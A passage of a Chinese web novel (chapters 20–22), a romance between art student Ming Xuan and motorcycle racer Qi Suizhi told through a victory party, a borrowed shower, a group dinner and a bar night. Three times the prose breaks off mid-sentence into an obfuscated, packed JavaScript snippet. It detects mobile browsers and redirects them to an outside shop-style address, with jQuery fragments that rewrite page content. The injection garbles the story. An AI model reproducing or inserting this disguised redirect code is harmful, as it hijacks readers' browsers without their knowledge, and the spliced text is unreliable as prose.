“是啊。”祁随之点头，“除了GK以外，哪支队伍都不想去。” “啧啧啧。”小雅捏着下巴直乐，“几年内能在GK看到你啊？” 祁随之认真想了想：“如果我努努力多跑比赛的话，争取就这两年吧。” “行。”小雅笑了笑，“你努努力。” 祁随之点头，视线落在了明暄脸上，看着明暄笑了笑：“刚刚怎么哭成那样，我在下面吓一跳。” “你怎么看到的啊……”明暄有些羞赧地往冉乐身边退了一步，“你在下面也能看见我吗？” “怎么看不见？”虎哥大嗓门喊了一句，“你一坐下去哭，你身边围着一圈的人视线都在你身上，想看不见都难啊。” 明暄听完更羞了。 “来。”祁随之拉着明暄的手腕，把他从冉乐身边拉到了自己的身边，“晚上要回家吗，还是跟我一起吃饭？” 明暄毫不犹豫：“跟你一起！” “行。”祁随之点点头，指尖在明暄细嫩的手腕上蹭了蹭，像是安抚，凑到明暄的耳边开口，“担心我啊，哭那么凶。” 哭也已经哭过了，大伙儿看也都看到了，明暄的羞耻心这会儿已经离家出走了，他大方点头：“嗯，很担心。” “我没事儿。”祁随之说，“怕拿不到冠军让你失望。” 明暄抬起头，看着他优越的下颌线轮廓：“只要是你，我就不会失望。” 他没刻意压低声音，这句饱含暧昧的话传进了所有人的耳中。 “哟！” “噫！” “这就是你台上说的那个第一次看比赛的朋友吧？这么重视呢啊随之？” 祁随之似答非答地“啊”了一声。 明暄被簇拥着调笑，他往后撤了一步，半边身子躲在了祁随之的身后。 虎哥被他这小步伐整乐了：“你咋跟随之的小媳妇儿似的。” 明暄没说话，偏露出脑袋傻乎乎地笑了两声。 “胆子小，虎哥你别闹他。”祁随之伸手揽住了明暄。 又是一阵哄闹声，明暄听着身心畅快。 真开心！ “刚进来的时候我准备买束花庆祝你夺冠的。”明暄微微掂起脚凑到他耳边小声说，“但是小雅姐说这附近没有卖花的，好可惜。” “不可惜。”祁随之偏过头，灼热的呼气喷洒在明暄的耳廓上，“回头画一朵儿给我吧？” 明暄仰起头看他的眼睛：“我们小画家画画很贵的。” “那怎么办？”祁随之问，“要么我跑摩的赚钱买画吧。” 明暄笑着看他：“怎么跑摩的啊，你那个车坐下个我都费劲。” “你俩能别腻腻歪歪了不，虽然都认识了，但随之还是给介绍一下啊。”虎哥看着俩人腻在一块儿说悄悄话，嘴撇了又撇，打断他俩的聊天。 “行啊。”祁随之慢悠悠地点头，“介绍一下，这是明暄。” “你们口中的……小可爱。” 20. 第 20 章 小可爱这个名字是冉乐叫开的，最开始祁随之形容明暄可爱，大伙儿也就笑一笑就过了，没人去真的打探祁随之的私人生活。 唯独冉乐小可爱长小可爱短小可爱还是个男的，这才让这一伙朋友们都记住了这个名字。 在祁随之说完这句话之后过了好一会儿，冉乐才后知后觉把祁随之形容的那个可爱的男生和明暄对上号。 他错愕地看着被祁随之拉着手腕站在身后的明暄，有些欲言又止：“你啊？” 一句无厘头的问句，但明暄听明白了。 他挠挠头发点头：“我啊。” 小雅看着冉乐的眼神带了一些对弱智儿的同情：“随之的交际圈就咱们这群人，突然出现一个咱都不认识的，再结合一下他之前说认识没多久，你就不会套公式吗乐乐？” “我数学没考过五十分以上。”冉乐，“所以你早就猜到了？” 小雅闭上眼，沉重地叹了一口气：“我见他第一面的时候就猜到了。” 孩子好像不太聪明，没救了。 明暄听着他们谙熟的插科打诨，不太好意思地揉了揉自己的鼻子：“你们怎么都知道我啊……” “这你自己问随之。”虎哥说，“先回酒店吧，都一身汗，洗洗干净去吃顿好的。” 有人凑了个脑袋出来看着祁随之：“随之比赛得奖得请客吧？” “行。”祁随之毫无负担地点头，看向明暄，“跟我一起？” 语气温柔，十分像诱.拐.未.成.年。 “你们住在那里啊？”明暄问道。 祁随之报了个位置。 明暄有些犯了难，他虽然没上场跑比赛，更不是个易出汗的体质，但在观众席心跳加速那么长时间，再不易出汗也该出了。 他可不希望晚上的时候大伙儿都清爽又香喷喷，就他一个人显得不修边幅。 但是祁随之说的这个地方离他家给更远，回家未免有些太麻烦了。 要么就……在他们的酒店开间房洗个澡吧。 明暄敲定下来，对祁随之点了个头说好。 “那先打车走？”虎哥说，“我和随之的车回头找个车一起运回S市，这会儿就不动了。” 说完后，他微微仰起头数人：“八个人，挤挤的话打两辆车可以一起走，还是说打三辆车宽敞一点？” “不挤。”小雅率先开口，“本来晒一下午就一身汗，还跟你们挤一趟车的话我选择直接去世。” “那就打三辆车呗。”虎哥“嗐”了一声，“随之带着你的小朋友，我们六个随机分配。” 小朋友还没反应过来，祁随之的这些个朋友就把他和祁随之两个人丢在了原地自个儿走了。 明暄：“啊？” “啊什么？”祁随之松开了握着的明暄的手腕，把藏在赛车服下的冠军奖杯递给了明暄，“帮我拿一下，我打个车。” “好。”明暄接过不算很沉的奖杯，拿在手上看来看去，“对了祁随之。” 祁随之叫了辆车，看着司机和他们起始点的距离路线，没抬头：“怎么了？” “我没带身份证。”明暄说，“等会能不能借你身份证给我开个房，我也想洗个澡。” 手机上的司机距离他们越来越近，祁随之抬起头看着明暄：“一个身份证只能开一间房。” 除了集训，明暄没怎么住过外面的酒店，而集训时是老师统一订房，他完全没有想到这一茬，有些泄气地“啊”一声。 “来我房间洗吧。”祁随之说，“我还能给你找一身干净衣服。” 明暄的表情有些不可置信。 怎么就进展到一间房洗澡了？ 白色的车停在了街边，祁随之的电话应声响了起来。 “你就当自己宿舍停水了，去隔壁宿舍借个浴室就好。” 明暄恍然。 也对，都是男的，借个浴室根本没什么大不了。 只是他自己心思跑偏了而已。 这该死的恋爱脑。 祁随之没接电话：“走吧，车到了。” 走到车前，祁随之替他拉开了后座的车门，手抵在门框上，避免明暄撞上。 他像个骑士，所以明暄开口了：“我是公主。” 祁随之坐进车，疑惑地看他。 “上一次看到这么开车门的还是在电影里。”明暄怀里抱着那个奖杯，对自己分散的思维感觉到好笑，“给公主开车门。” 祁随之乐了。 明暄低下头笑了笑，拿过手机给陈姨发了条消息，说自己晚上不回家吃饭了，不用准备自己的那一份。 没一会儿陈姨就给他回了个好。 摩托车是个烧钱的东西，能把摩托车当成业余爱好的人，没有一个是缺钱的，自然而然，他们定的酒店也不会差，酒店大堂的味道很好闻，很轻的甜味，不腻。 祁随之从口袋里掏出房卡刷了电梯，带着明暄走进了自己的房间。 房间的配色是让人舒服的浅蓝，头顶是一整片漂亮的星空顶，最里面是一片巨大的落地窗，这会儿正透着余晖。 祁随之在墙上的开关摁了一下，窗帘被拉上，灯带亮了起来，头上的星空顶闪烁着点点星辰。 祁随之没带行李箱，他绕到置物柜，拿起了自己的背包，从里面抽出了一件纯白的T恤和一条系带运动裤：“穿这个可以吗？” 明暄接过衣服点头。 “那我先洗澡。”祁随之说，“你等我一会。” 明暄的目光跟着祁随之，看着他走进浴室关上了门。 悉悉索索的声音过后，水声砸了下来。 明暄闭着眼坐在沙发上，试图忽略浠沥的水声。 很难说自己脑子里到底在想什么，但是暗恋的对象在一门之隔的浴室里洗澡，这一件事就足够让他脑子里的东西不那么正经了。 明暄赶忙掀开窗帘，把自己藏在了窗帘身后，透过落地窗看着A市的城市景色。 祁随之洗完澡出来的时候，看到的就是窗帘后的一坨鼓包。 他摁下拉开窗帘的开关，窗帘在“嗡嗡”声中自动向两边拉开，明暄显露了出来。 覆在身上的一层重量消失，明暄回过头。 祁随之穿着白色体恤灰色运动裤，肩膀上搭了一条毛巾，发梢的水珠滑落，泯入毛巾。 好闻的蓝风铃味随着祁随之的靠近钻进明暄的鼻腔。 “脏不脏啊往窗帘里钻。”祁随之的表情有些无奈，“我洗完了，毛巾和浴巾都有一次性的，我放在洗手台了。” 明暄点头说好，蹬下鞋抱着衣服走进了浴室。 一走进浴室，满室都是蓝风铃的味道。 是祁随之身上的味道。 明暄抬手脱掉自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727006|189502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上的衣服，打开水龙头，温度适宜的水“啪”地一下砸了下来。 他往外稍微偏了一些，挤了两泵洗发水。 蓝风铃的味道变得更浓。 洗完后，明暄穿上了自己穿着来的那条内裤，披着浴巾走了两步，到了洗手池的镜子前。 镜子里的人从耳廓到锁骨红了一大片，不知道是热的还是因为什么。 他拿过叠放好的衣服穿上，又把换下的衣服叠好放在洗手池旁。 祁随之比他高了有大半个头，他的衣服穿在身上，自然而然地也大了一圈儿。 裤子是有腰带的，扎一扎挽个裤腿就没什么，但T恤…… 领口处露出了他的大片锁骨，看上去纯情又色.情。 明暄拎着衣领往后扯，直到领口能把锁骨遮住才满意地走了出去。 祁随之的头发已经吹干了，听到明暄出来的动静，坐在沙发上的他放下手机投了个视线过去。 “吹风机在这里。”祁随之从沙发上捞起来吹风机在空中扬了扬。 明暄点点头走了过去，接过吹风机，弯下腰找插座。 祁随之站起来时，明暄正好插上吹风机，他微微倾下身子，衣领在吹风机“呼呼”声下不停摆动，被往后扯的衣领被吹回原位。 祁随之只是垂眸一瞥，顺着大敞着的领口看见了内里透着粉色的皮肤，和…… 一小点的粉色。 他赶忙瞥开视线，抬手遮在下巴处很轻地咳了一声，走到墙边把空调温度打低了一些。 明暄专注着快点儿把头发吹干，没有注意到祁随之这里的动静。 直到吹风机停止运作，那不知道响了多久的敲门声才传了进来。 祁随之走到门口，拉开房间门，他们一块儿来的人，这会儿全在他的门口站着。 “赢了比赛出门要请是吧？”虎哥乐道，“微信也不回，电话也不接，敲门还要敲这么久。” “他在吹头发，声音大，没听见。”祁随之走到明暄身边，接过他手里的吹风机放在一旁，不动声色地牵着他的衣领替他往后扯了扯，遮住了左肩那块儿凸起的骨头。 祁随之的指尖有些凉，划过锁骨的感知明显。 “走吧，饿死了。”虎哥伸了个懒腰，“小雅还是牛的，这么一会儿她洗了个澡还化了个妆。” 明暄闻言探头往虎哥身后看。 小雅本来长得就漂亮，这会儿带着一层很薄的妆，穿着贴身的黑色短裙，确实漂亮。 “我化个妆怎么了，万一我就在路上遇到了自己的心选呢。”小雅说，“我总不能素面朝天去找人要微信吧？” “你喜欢啥样的，随之行不行？行的话直接搞内部消化了。”小雅身旁的男生打趣道。 明暄一愣，下意识地偏过头去看祁随之。 “不行，丝毫不来电。”小雅果断摇头，“而且随之和我互相都不是喜欢的类型啊，我喜欢看着就有文化的那种人。” “得，说随之文盲是吧。”冉乐看热闹不嫌事大，“你又知道随之喜欢什么样的了？” “猜呗。”小雅耸了耸肩膀，抱臂戏谑地看着祁随之，“八成是可爱挂的，那种乖乖崽，是不是，随之？” 祁随之的余光落在明暄身上，看着他翘起来的呆毛和微微发红的耳垂，抿了抿唇，轻声开口。 “猜对了，还真是。” 21. 第 21 章 征求了大伙儿的意见，也秉承着高低宰祁随之一顿原则，最终定下了一家A市十分有名的泰餐。 这家店在A市寸土寸金的中心商圈，定价自然也十分不合理。 但在座的各位点起菜来完全没有顾及祁随之的感受，什么贵点什么。 点菜平板转到明暄手边的时候，下方的已点菜品总价已经到了惊人的四千。 明暄看着两份起点的菜咂舌。 这也太能吃了。 他划拉了一圈，原封不动地把平板递给了祁随之。 “没有想吃的？”祁随之看到他什么也没点，问道。 明暄摇了摇头：“也不是，就是想吃的都已经点过了。” “这群人，点的只够他们自己吃。”祁随之摁下了一份蟹黄面包片，又把菜单滑到最底下，“你喜欢喝草莓奶是喜欢草莓味还是喜欢牛奶啊？” “啊？”明暄愣了愣，“都还行。” 祁随之点点头，点了一份牛奶和一份草莓汁，将平板递还给了服务生。 明暄看着他的动作，脑子里是小雅的那句“乖乖崽”，他自问不是个很乖的人，偶尔闹腾气人起来一套又一套的，不然室友们也不会老想揍他。 为了在还不算特别了解他的面前营造“乖崽”人设，明暄双手虚握交叠放在腿上，整个人看上去十分像幼儿园大班的三好小朋友。 “你这啥坐姿，尿急吗？”冉乐上厕所回来看到明暄的坐姿，狐疑地看着他抬手指了个位置，“洗手间在那边，出门左转到头，没什么人。” 明暄矜持了还不到五分钟，这份矜持就被冉乐的这番话打破了：“……我没有。” 他在椅子上扭了两下，坐姿变得放松。 祁随之偏过头看他，眼角眉梢里都是笑意。 “对了，一直不知道，你和随之怎么认识的啊？”小雅坐的笔直，双手撑着下巴，歪着脑袋看他。 明暄想了想：“上次我画完画去便利店买晚饭，出来被人堵在便利店附近一条没什么人的小巷里了，是祁随之把我送回去的。” “上次咱们那边另一伙玩车的人找我们拼车那次。”祁随之说。 虎哥低下头想了想：“是不是就有人别你车把自己摔了那次？” 祁随之点头说是。 “怪不得那天晚上说吃饭你说有事要提前走，英雄救美去了啊原来。”虎哥乐呵呵地开口，视线又投在了明暄身上，上下打量了一下， “是有艺术家的气质。” 旁边有人拆台：“你还知道艺术家是什么气质？” “就这种呗。”虎哥冲着明暄抬了下巴，“看上去肩不能扛手不能提，十分脆弱的气质。” 明暄：。 “你别理他。”小雅无语道，“虎哥大老粗，跟艺术家不来电。” 明暄笑了笑：“不是艺术家，就是个画画的。” “随之的微信头像是你画的吗？”小雅问道，“我也想要个，多少钱一张啊？” 明暄赶忙摇头：“不用不用，那个画起来很快，我晚上就能画了发给你。” “行啊，那加个微信？”小雅调出微信二维码亮在明暄面前。 明暄没有拒绝，掏出手机扫了二维码加上了小雅的微信。 “我家最开始也想送我学点儿什么，说能培养气质。”小雅叹了口气，“从小到大，钢琴小提琴素描插画甚至连点茶都学了。” 冉乐凑了个脑袋问道：“然后呢？” “然后一个没学会，来跑摩托了，我爸气个半死。”小雅说。 “没事儿，骑摩托也是技术活。”冉乐安慰道，“日后你找不到工作的话还能去跑个摩的，五公里三块钱。” “五公里三块钱，我还倒贴油费是吧？”小雅没好气地看向冉乐，“别气我，我回头气急了把你头塞我油箱里。” 小雅是个很好相处的女孩儿，没架子不端着，也不因为自己是女孩儿就要求所有人都迁就她，明暄喜欢跟这样的人相处。 他看着小雅和冉乐直笑，直到感觉到自己的衣领被人往后扯了一下。 抬起头，撞进了祁随之的视线中。 “衣领太大了。”祁随之松开手说。 明暄双手揪着领子往后扯了扯：“毕竟我比你矮，还有点瘦。” 话音落下，服务生端着菜品摆上了桌。 “那就多吃点。”祁随之夹了一块儿生腌虾，细心地夹掉了上面细碎的葱花，放在了明暄的碗里。 明暄低下头一边小口小口吃这只生腌虾，一边忍不住在心理感叹。 祁随之真的很会照顾人。 生腌虾真的很好吃，虾肉嫩滑，一口咬下去配着料汁的酸甜，让明暄眼前一亮。 只是再一抬头，那一盘生腌虾已经空盘了。 “咦……”明暄有些呆。 “跟你预警过了，他们点的菜只够他们吃。”祁随之看着他茫然无助的样子，好心开口。 明暄忍不住咂舌：“这也太快了啊。” “没事，等会我帮你抢点儿。”祁随之义正言辞。 明暄看着祁随之表情凝重地说这话，觉得好笑，又觉得有些暖。 “对我这么好啊？”他歪过头小声开口。 祁随之转着桌子，舀了满满一勺菠萝牛肉，把勺子递给了明暄：“你抢不过他们的，跟他们吃饭只有吃到最后才不用抢。” “随之你瞧你这话说的。”有人听见祁随之的话，抬头看他，“在你眼里我们是不是去吃席还会带塑料袋打包的那种人啊？” “不会吧。”祁随之又拿过明暄的那个没有用过的干净勺子，给自己也舀了一勺菠萝牛肉，“我觉得你们会出两块钱买几个打包盒。” 那人冲着祁随之竖起了中指。 “草莓汁？牛奶？谁点的啊？”虎哥看着服务生端上来的饮品没忍住问道，“这不喝点酒？” 明暄嚼着嘴里的菠萝，咽下去后举起了手：“我的。” 结果就像明暄请了两个门神似的，草莓汁壶在他的左手边，牛奶壶在他的右手边。 保驾护航。 他看着果汁和牛奶突发奇想：“我一口草莓汁一口牛奶，然后不停晃脑袋，是不是就是草莓奶了？” 祁随之欲言又止，没止住。 “你要想试试的话可以倒半杯草莓汁半杯牛奶搅一搅，不用这么……生猛。” 明暄沉重地点头：“你说的对。” 不过最后还是没有这么试，因为小雅说了她之前试过柠檬汁兑牛奶，然后牛奶分层了的惨痛故事。 最后上的一道菜是祁随之点的那道蟹黄面包片，满满一盘的蟹黄，旁边一个精致的小篮子里整齐摆放着烤的正好的面包片。 祁随之拆了一副一次性手套，戴了一只拿起一块儿面包片，舀了一勺子蟹黄均匀地涂在了面包片上。 然后递给了明暄。 “随之哥哥我也要我也要。”冉乐看着祁随之的动作，学着明暄举起了手。 明暄两只手捏着面包片的边缘，咬下一口，眯着眼看着他们俩。 焦脆的面包片混着满满蟹黄，好吃！ “你要什么？”祁随之又拿了一块儿面包片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727007|189502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂满了蟹黄，“这个？” 冉乐猛猛点头：“嗯嗯！” “哦。”祁随之点头，站起身把舀蟹黄的勺子递给了冉乐，“给你。” 说完后，他捏着自己的面包片坐了下来，旁若无人地咬了一口。 虎哥带头狂笑：“操哈哈哈哈哈哈哈哈哈哈哈！！！！” 小雅乐的不行，给祁随之亮起了大拇指。 唯独冉乐，拿着个铁勺，站在原地，不知所措。 或许是这一桌的笑声有些放肆，吸引了周围几桌人的目光。 “别笑了虎哥，打扰别人了。”祁随之吃完了面包片，憋着笑开口，“小乐你先坐下。” 冉乐拿着一柄大铁勺坐了下来：“我真服了你了祁随之，我记你一辈子。” 明暄小口吃着面包片，笑得肩膀不停地抖。 “我也记你一辈子明暄。”冉乐无语至极，“一辈子。” 明暄吃下最后一口面包片，抽了张纸擦干净指尖沾上的面包渣，看向冉乐，想说两句好话哄哄。 话还没说出口，嘴就被一块儿剥好了的咖喱虾堵住了。 夹着虾的筷子在祁随之手上。 祁随之看着冉乐：“这是你上次摔我车应得的。” 冉乐自觉理亏，蔫了下来，只可惜蔫了没一会，他又灿烂了。 “对了明暄，随之的车从来不借我们骑，却借给我了，你知道为什么吗？”冉乐促狭地对着明暄挤眉弄眼。 为什么，你别告诉我说是你在祁随之心里和其他人不一样。 明暄摇头。 “为了诱.惑那几个欺负你的混混，随之答应把车借我骑骑，让我去受迫害。”冉乐句句铿锵。 “啊……”明暄的思维发散，“怎、怎么诱.惑啊？”他小小声嘟囔，“这是我可以免费听的吗？” 冉乐：。 “我记你八辈子，明暄。” 明暄还没来得及笑，头顶的灯被遮住，他的面上盖下了一层阴影。 明暄仰起了头，明昭的下巴撞进眼底。 桌上所有人的视线都落在了这个不速之客身上。 “明昭？你怎么在这？”明暄就这么仰着头跟他说话。 “聚餐。”明昭说，“你怎么在这？” “我也聚餐。”明暄眨了眨眼，坐直了身子指着明昭和餐桌上的人介绍，“这是我哥，明昭。” 大伙儿点点头表示明白。 “那个什么摩托车比赛的聚餐？”明昭挑眉问道。 明暄点点头：“是啊，刚好你在这等会你回家顺带把我捎回去，我都不用打车了。” “行。”明昭的视线在每个人的脸上环了一圈，“哪个是你喜……” 明暄瞪大了眼睛，眼疾手快地掰着靠背跪坐在椅子上，抬手捂住了明昭的嘴，把他的话堵住了，眼神里透露着没什么威慑力的警告。 明昭嫌弃地拍开明暄的手。 “祁随之是谁，听暄暄说今天来跑比赛了，跑的怎么样？” 祁随之勾着唇角笑了笑：“明昭哥好，我是祁随之。” “随之跑了个冠军。”有人接腔道。 明昭挑眉打量这个让自家弟弟化身恋爱脑的罪魁祸首：“恭喜。” “那你们先吃，我就不打扰了。”明昭礼貌地点头，“暄暄，吃完给我打电话。” 明暄：“嗯嗯！” 随着明昭的离开，稍微有些凉下来的气氛又变得热络。 祁随之措置裕如地给明暄倒了一杯牛奶。 “暄暄，很可爱的小名。” 22. 第 22 章（含入v通知） 一顿饭吃完，一大群人浩浩荡荡地走出了餐厅大门，占满了一整个电梯下楼。 “等会有什么活动没，整点儿酒？”虎哥摁下一楼的按钮，开口道，“刚来的路上好像看到有酒吧。” 另一个人偏头问道：“吃饭时没喝够？” “那才哪儿到哪儿。”虎哥扬了扬手，“反正今天也不骑车，明天下午才飞回去，整点儿？我请。” 这句“我请”撞进了所有人的心坎里，附和声一片。 电梯“叮”了一声，到了一楼，电梯门应声打开。 “明暄喝吗？”虎哥的视线落在了明暄的身上，“看起来不太会喝的样子啊……” 明暄鼓了鼓嘴，反驳道：“怎么不会喝！” “那一块儿？”虎哥问。 明暄摁亮手机，现在时间已经不早了，如果真的跟他们一块儿去喝酒的话，势必要折腾到凌晨两三点才能回家，爷爷奶奶睡眠浅，明暄有些为难。 “要么……等我返校之后请你们喝酒吧。”明暄说，“太晚回家会打扰到家里人，而且我家挺远的。” 夜风带着很淡的凉意，明暄眨了眨眼看着面前的一群人。 “太晚不安全。”祁随之说，“要么你们先去？去了给我定位，我等他哥把他接走后去找你们。” “那行，那我们先走了。”虎哥点头，“等会看微信。” 一阵喧闹后，这一伙人踏进了出租车内，街边只剩下了明暄和祁随之。 明暄拨通了明昭的电话，在“嘟嘟”声中开口：“其实你不用在这里陪我等明昭的，我又不会丢。” 夜风飘过，吹起祁随之的衣摆，宽松的T恤被吹着勾勒出身形，漂亮的肌肉轮廓在白色布料下忽隐忽现。 他看着明暄问道：“不想让我陪你等？” 祁随之的这句话，坦坦荡荡大大方方，不带一点旖旎气息，但被吹进明暄的耳中，还是让他不自抑地红了耳根。 他双手背在身后，鞋尖踩上被风吹落的绿叶在地面上摩挲，低着头。 “……想。” “想什么想，电话打了不说话！”停在路边的一辆白色宝马副驾的车窗被摇下来，露出了拿着手机恨铁不成钢的明昭的脸。 明暄闻声抬起头，看了一眼手机里的“正在通话”，又看了一眼面前眼熟的这辆车，有些沉默。 怎么这么像捉.奸啊。 “上去吧。”祁随之笑了笑，拍了下明暄的后腰，“我去找虎哥他们。” 明暄挂断电话乖乖点头，拉开车门坐进去系好安全带后，从车窗里探出头看着祁随之扬着笑：“祁随之，再见。” “嗯，再见。” 车向前开，明暄坐在副驾上扭了扭，抬手调整安全带的位置。 明昭余光瞥了他一眼，阴阳怪气地开口：“祁随之，再见~” “……你好烦啊。”明暄撇了撇嘴不看他，“你都三十多，能不能成熟点。” “什么叫三十多。”明昭“啧”了一声，“我今年刚满二十九，你别给我夸大其词啊。” 明暄十分敷衍：“嗯嗯。” “那个祁随之……”明昭话还没说完。 明暄撑着座椅一转身，看着开车的明昭眨了眨眼：“怎么样，是不是很帅！” 明昭：。 “我不是小众性取向，男人长得帅不帅我不是很敏感。” “哦，我是，我觉得他很帅。”明暄拉开面前的手套箱，翻出一盒橘子味的口香糖，倒出来两颗塞进嘴里，“你吃不吃？” “吃。”明昭偏过头张开了嘴。 明暄又倒了两颗捻在指尖塞进了明昭的嘴里：“祁随之怎么了？” “祁随之没有积分跑了第一，他日后是不是要走这条路啊？”明昭问。 明暄嚼着口香糖，橘子味在口腔迸开：“你怎么知道他没有积分？” “关注了一下。”明昭说，“毕竟是让你变成恋爱脑的男人，我这个做哥的关注关注也没什么毛病吧。” 明暄了然点头：“应该是吧，他好像有很想去的车队。” 明昭点了点头示意自己知道了。 面前的绿灯闪烁变红，明昭的车停了下来。 “该说的我也说过，说多了你也烦我就不提了。”明昭吹了个泡泡，刚吹起来没多大就“砰”地一声破开，粘在了嘴唇上，他舔下口香糖，徐徐开口道。 “你现在这样就可烦。”明暄鼓了鼓嘴，抬手戳了一下明暄的脸颊，“知道你担心什么，我保证不碰摩托车。” “知道就行。” 红灯变黄，黄灯变绿。 明昭歪过头，看着明暄露出的小半个肩膀疑惑道：“这不是你衣服吧？” “嘿嘿。”明暄傻笑，“祁随之的，看比赛的时候身上出了一身汗，去他那里洗了个澡换了身衣服。” 明昭看着傻乐的明暄，沉默了片刻：“……矜持点啊。” “想什么呢！！”明暄提高了音量，“就是十分单纯地借了个浴室冲了个澡，借了个衣服用来换洗，仅此而已！” “哟。”明昭扬了扬眉毛，“看起来挺不满足，你还想有点什么？” 明暄的小心思被戳破，恼羞成怒，决定三天不搭理明昭。 回到家蹬掉鞋踩着拖鞋哒哒哒地上楼进房间关门，一气呵成。 “笃笃”，敲门声响起，明暄盘着腿坐在飘窗上，假装没听见。 门外是明昭：“明暄，开门。” 明暄拉开窗帘，扭着脑袋看着窗外的月色。 “你手机在车上没拿。”明昭说。 明暄闻言，摸了摸裤子口袋。 两手空空。 但还是不想搭理明昭。 “嘶。”明昭的声音变得有点轻，“小祁给你发消息了，你锁屏密码是多少来着，我想想哈……” 明暄跳下飘窗，鞋都没来及的穿，光着脚走到门口，拉开房门伸出一只手：“不准看，给我。” “瞧把你给能的。”明昭把手机拍在他手心：“衣服记得洗洗干净叠好回头给人送回去啊，别想着自己留着。” 明暄“啪”的一下关了房门：“知道了知道了——” 明昭看着毫不留情关上的房门，摸了摸鼻子，没好气道：“个小兔崽子。” 即使明昭不说，明暄也不会把祁随之的这套衣服据为己有，虽然穿着确实很舒服…… 但衣服在手，就意味着他有理由再一次和祁随之见面。 他点开手机，根本没有祁随之发来的消息。 明暄鼓了鼓嘴，小声道：“明昭这个倒霉玩意儿。” 他把手机甩到床上，拉开衣柜，翻出睡衣洗了个澡后，抱着平板趴在床上，打开了procreate。 点开小雅的朋友圈，翻出了一张适合画头像的照片放在一旁，动笔。 - 灯红酒绿，漂亮精致的少年少女们在音乐声下尽情地摇头晃脑解压放松。 祁随之坐在沙发上微微向前倾，修长的手指握着骰盅，指尖轻动，骰子撞击骰盅发出清脆的声音。 祁随之手气好，连摇出好几次漂亮数字后，大伙不服了，集中起来攻击这个骰子幸运儿。 小半瓶洋酒下肚，祁随之闭了闭眼，有点晕眩感。 “先不喝了，有点晕，我去门口透透气。”祁随之伸手盖住了自己的酒杯，站了起身。 小雅的视线落在他身上，看着祁随之起身也放下了手里的酒杯：“等会，我跟你一块儿出去。” 两个长相优越的人一起穿过其他桌，走出酒吧大门，引来了无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727008|189502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数人的视线。 酒吧隔音做的不差，在酒吧里躁动的音乐声出了大门都变得轻缓。 小雅走到一块标牌前，仰起头靠了上去，从口袋里掏出一包烟，抽出一根抿在嘴里，点火。 点完后，她把烟盒和打火机递给了祁随之：“抽吗？” 祁随之接了过来，弹出一根烟夹在指尖。 小雅吸了一口烟，抿着唇吐出烟雾：“明暄喜欢你。” 祁随之弹开打火机的盖子，擦开火石，随风跳动的火光照耀在他的脸上，鸦羽般的睫毛在火光下拖出长长的影子。 他抿着烟凑上去吸了一口，“啪嗒”一声，打火机的光由手中细烟顶替。 “你怎么知道？”祁随之将烟盒和打火机递还给了小雅，问道。 小雅接过，塞进口袋：“看的出来啊，他很明显，就乐乐那个狗脑子，但凡他不是个直男估计都能看出来。” 祁随之舔了舔烟嘴，没说话。 “我记得之前喝酒有人找你示好，你好像说过没有谈恋爱的意愿来着。”小雅说，“感觉你对明暄还挺不一样的，怎么，铁树开花了？” “我算铁树吗？”祁随之勾着唇笑了笑，“之前确实没有谈恋爱的打算。” “嗯哼。”小雅弹了弹烟灰，示意他往下说。 “挺喜欢他的。”祁随之诚实道。 小雅奇了怪了：“那你怎么不挑明得了？你应该不是个磨叽的人啊。” “也不是磨叽。”祁随之想了想，“只是把主动权交在他手上。他挺单纯的，可能他自己也分不清是喜欢还是当时帮他解围时让他产生了错觉，他需要分清楚。不过我没有过这种经验，自己也说不太清，反正就，顺其自然慢慢来吧。” 小雅手中烟灰燃了好长一截都忘记弹掉，片刻后，她点点头：“你说的也对。” “叮”地一声，小雅手机响了，她夹着烟打开微信。 【明暄：[图片]】 【明暄：小雅姐你看看你喜不喜欢】 【明暄：小猫歪头.JPG】 小雅点开了这张Q版头像，一眼就认出了是自己朋友圈曾经发过的一张照片。 她撑着下巴整个人趴在银灰色的机车上，穿着皮衣短裙和过膝的皮靴，在空中勾在一起。 Q版小人没有照片那么野，也没有那么欲，带着点儿可爱的嚣张。 “他真可爱啊，我要有个这么可爱的弟弟我肯定给他宠上天。”小雅保存了照片，回了个“喜欢！！”后，忍不住感叹道。 祁随之深以为然：“是啊，真可爱啊。” 两个人抽过烟吹过风，回到卡座里，原本那一瓶几乎见了底的洋酒旁又添了一瓶刚开盖的。 祁随之换了个杯子，夹了几颗冰块后，给自己的杯子的里倒了小半杯酒，满满抿。 原酒的酒劲儿比兑茶的酒劲要大得多，一开始不觉，喝到后面才开始发懵。 祁随之脑子有点晕乎乎的，他伸手往旁边拍了一下，只拍到了皮质的沙发垫。 他抬头环望了一圈：“明暄？” 